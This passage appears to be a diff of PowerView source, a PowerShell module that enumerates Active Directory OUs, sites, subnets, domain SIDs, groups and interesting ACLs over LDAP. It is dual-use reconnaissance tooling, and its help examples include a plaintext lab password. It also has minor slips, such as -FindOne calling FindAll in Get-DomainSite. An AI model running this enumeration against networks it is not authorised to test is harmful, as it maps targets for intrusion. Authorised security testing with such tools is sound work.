$IdentityReferenceName = $Object.Properties.samaccountname[0] + if ($Object.Properties.objectclass -match 'computer') { + $IdentityReferenceClass = 'computer' + } + elseif ($Object.Properties.objectclass -match 'group') { + $IdentityReferenceClass = 'group' + } + elseif ($Object.Properties.objectclass -match 'user') { + $IdentityReferenceClass = 'user' + } + else { + $IdentityReferenceClass = $Null + } + + # save so we don't look up more than once + $ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass + + $InterestingACL = New-Object PSObject + $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN + $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier + $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights + if ($_.ObjectAceType) { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType + } + else { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' + } + $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags + $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType + $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags + $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass + $InterestingACL + } + } + else { + Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName" + } + } + } + } + } + } +} + + +function Get-DomainOU { +<# +.SYNOPSIS + +Search for all organization units (OUs) or specific OU objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties whencreated,usnchanged,...". By default, all OU objects for +the current domain are returned. + +.PARAMETER Identity + +An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or +GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted. + +.PARAMETER GPLink + +Only return OUs with the specified GUID in their gplink property. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainOU + +Returns the current OUs in the domain. + +.EXAMPLE + +Get-DomainOU *admin* -Domain testlab.local + +Returns all OUs with "admin" in their name in the testlab.local domain. + +.EXAMPLE + +Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" + +Returns all OUs with linked to the specified group policy object. + +.EXAMPLE + +"*admin*","*server*" | Get-DomainOU + +Search for OUs with the specific names. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainOU -Credential $Cred + +.OUTPUTS + +PowerView.OU + +Custom PSObject with translated OU property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.OU')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + [Alias('GUID')] + $GPLink, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $OUSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($OUSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^OU=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $OUSearcher = Get-DomainSearcher @SearcherArguments + if (-not $OUSearcher) { + Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['GPLink']) { + Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property" + $Filter += "(gplink=*$GPLink*)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)" + Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() } + else { $Results = $OUSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $OU = $_ + } + else { + $OU = Convert-LDAPProperty -Properties $_.Properties + } + $OU.PSObject.TypeNames.Insert(0, 'PowerView.OU') + $OU + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_" + } + } + $OUSearcher.dispose() + } + } +} + + +function Get-DomainSite { +<# +.SYNOPSIS + +Search for all sites or specific site objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties whencreated,usnchanged,...". By default, all site objects for +the current domain are returned. + +.PARAMETER Identity + +An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or +GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. + +.PARAMETER GPLink + +Only return sites with the specified GUID in their gplink property. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainSite + +Returns the current sites in the domain. + +.EXAMPLE + +Get-DomainSite *admin* -Domain testlab.local + +Returns all sites with "admin" in their name in the testlab.local domain. + +.EXAMPLE + +Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" + +Returns all sites with linked to the specified group policy object. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSite -Credential $Cred + +.OUTPUTS + +PowerView.Site + +Custom PSObject with translated site property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.Site')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + [Alias('GUID')] + $GPLink, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{ + 'SearchBasePrefix' = 'CN=Sites,CN=Configuration' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $SiteSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($SiteSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainSite] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $SiteSearcher = Get-DomainSearcher @SearcherArguments + if (-not $SiteSearcher) { + Write-Warning "[Get-DomainSite] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['GPLink']) { + Write-Verbose "[Get-DomainSite] Searching for sites with $GPLink set in the gpLink property" + $Filter += "(gplink=*$GPLink*)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainSite] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $SiteSearcher.filter = "(&(objectCategory=site)$Filter)" + Write-Verbose "[Get-DomainSite] Get-DomainSite filter string: $($SiteSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $SiteSearcher.FindAll() } + else { $Results = $SiteSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Site = $_ + } + else { + $Site = Convert-LDAPProperty -Properties $_.Properties + } + $Site.PSObject.TypeNames.Insert(0, 'PowerView.Site') + $Site + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainSite] Error disposing of the Results object" + } + } + $SiteSearcher.dispose() + } + } +} + + +function Get-DomainSubnet { +<# +.SYNOPSIS + +Search for all subnets or specific subnets objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties whencreated,usnchanged,...". By default, all subnet objects for +the current domain are returned. + +.PARAMETER Identity + +An subnet name (e.g. '192.168.50.0/24'), DistinguishedName (e.g. 'CN=192.168.50.0/24,CN=Subnets,CN=Sites,CN=Configuratioiguration,DC=testlab,DC=local'), +or GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. + +.PARAMETER SiteName + +Only return subnets from the specified SiteName. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainSubnet + +Returns the current subnets in the domain. + +.EXAMPLE + +Get-DomainSubnet *admin* -Domain testlab.local + +Returns all subnets with "admin" in their name in the testlab.local domain. + +.EXAMPLE + +Get-DomainSubnet -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" + +Returns all subnets with linked to the specified group policy object. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSubnet -Credential $Cred + +.OUTPUTS + +PowerView.Subnet + +Custom PSObject with translated subnet property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.Subnet')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $SiteName, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{ + 'SearchBasePrefix' = 'CN=Subnets,CN=Sites,CN=Configuration' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $SubnetSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($SubnetSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^CN=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainSubnet] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $SubnetSearcher = Get-DomainSearcher @SearcherArguments + if (-not $SubnetSearcher) { + Write-Warning "[Get-DomainSubnet] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainSubnet] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $SubnetSearcher.filter = "(&(objectCategory=subnet)$Filter)" + Write-Verbose "[Get-DomainSubnet] Get-DomainSubnet filter string: $($SubnetSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $SubnetSearcher.FindOne() } + else { $Results = $SubnetSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Subnet = $_ + } + else { + $Subnet = Convert-LDAPProperty -Properties $_.Properties + } + $Subnet.PSObject.TypeNames.Insert(0, 'PowerView.Subnet') + + if ($PSBoundParameters['SiteName']) { + # have to do the filtering after the LDAP query as LDAP doesn't let you specify + # wildcards for 'siteobject' :( + if ($Subnet.properties -and ($Subnet.properties.siteobject -like "*$SiteName*")) { + $Subnet + } + elseif ($Subnet.siteobject -like "*$SiteName*") { + $Subnet + } + } + else { + $Subnet + } + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainSubnet] Error disposing of the Results object: $_" + } + } + $SubnetSearcher.dispose() + } + } +} + + +function Get-DomainSID { +<# +.SYNOPSIS + +Returns the SID for the current domain or the specified domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer + +.DESCRIPTION + +Returns the SID for the current domain or the specified domain by executing +Get-DomainComputer with the -LDAPFilter set to (userAccountControl:1.2.840.113556.1.4.803:=8192) +to search for domain controllers through LDAP. The SID of the returned domain controller +is then extracted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainSID + +.EXAMPLE + +Get-DomainSID -Domain testlab.local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainSID -Credential $Cred + +.OUTPUTS + +String + +A string representing the specified domain SID. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $SearcherArguments = @{ + 'LDAPFilter' = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $DCSID = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1 -ExpandProperty objectsid + + if ($DCSID) { + $DCSID.SubString(0, $DCSID.LastIndexOf('-')) + } + else { + Write-Verbose "[Get-DomainSID] Error extracting domain SID for '$Domain'" + } +} + + +function Get-DomainGroup { +<# +.SYNOPSIS + +Return all groups or specific group objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties samaccountname,usnchanged,...". By default, all group objects for +the current domain are returned. To return the groups a specific user/group is +a part of, use -MemberIdentity X to execute token groups enumeration. + +.PARAMETER Identity + +A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to query for. Wildcards accepted. + +.PARAMETER MemberIdentity + +A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the user/group member to query for group membership. + +.PARAMETER AdminCount + +Switch. Return users with '(adminCount=1)' (meaning are/were privileged). + +.PARAMETER GroupScope + +Specifies the scope (DomainLocal, Global, or Universal) of the group(s) to search for. +Also accepts NotDomainLocal, NotGloba, and NotUniversal as negations. + +.PARAMETER GroupProperty + +Specifies a specific property to search for when performing the group search. +Possible values are Security, Distribution, CreatedBySystem, and NotCreatedBySystem. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainGroup | select samaccountname + +samaccountname +-------------- +WinRMRemoteWMIUsers__ +Administrators +Users +Guests +Print Operators +Backup Operators +... + +.EXAMPLE + +Get-DomainGroup *admin* | select distinguishedname + +distinguishedname +----------------- +CN=Administrators,CN=Builtin,DC=testlab,DC=local +CN=Hyper-V Administrators,CN=Builtin,DC=testlab,DC=local +CN=Schema Admins,CN=Users,DC=testlab,DC=local +CN=Enterprise Admins,CN=Users,DC=testlab,DC=local +CN=Domain Admins,CN=Users,DC=testlab,DC=local +CN=DnsAdmins,CN=Users,DC=testlab,DC=local +CN=Server Admins,CN=Users,DC=testlab,DC=local +CN=Desktop Admins,CN=Users,DC=testlab,DC=local + +.EXAMPLE + +Get-DomainGroup -Properties samaccountname -Identity 'S-1-5-21-890171859-3433809279-3366196753-1117' | fl + +samaccountname +-------------- +Server Admins + +.EXAMPLE + +'CN=Desktop Admins,CN=Users,DC=testlab,DC=local' | Get-DomainGroup -Server primary.testlab.local -Verbose +VERBOSE: Get-DomainSearcher search string: LDAP://DC=testlab,DC=local +VERBOSE: Get-DomainGroup filter string: 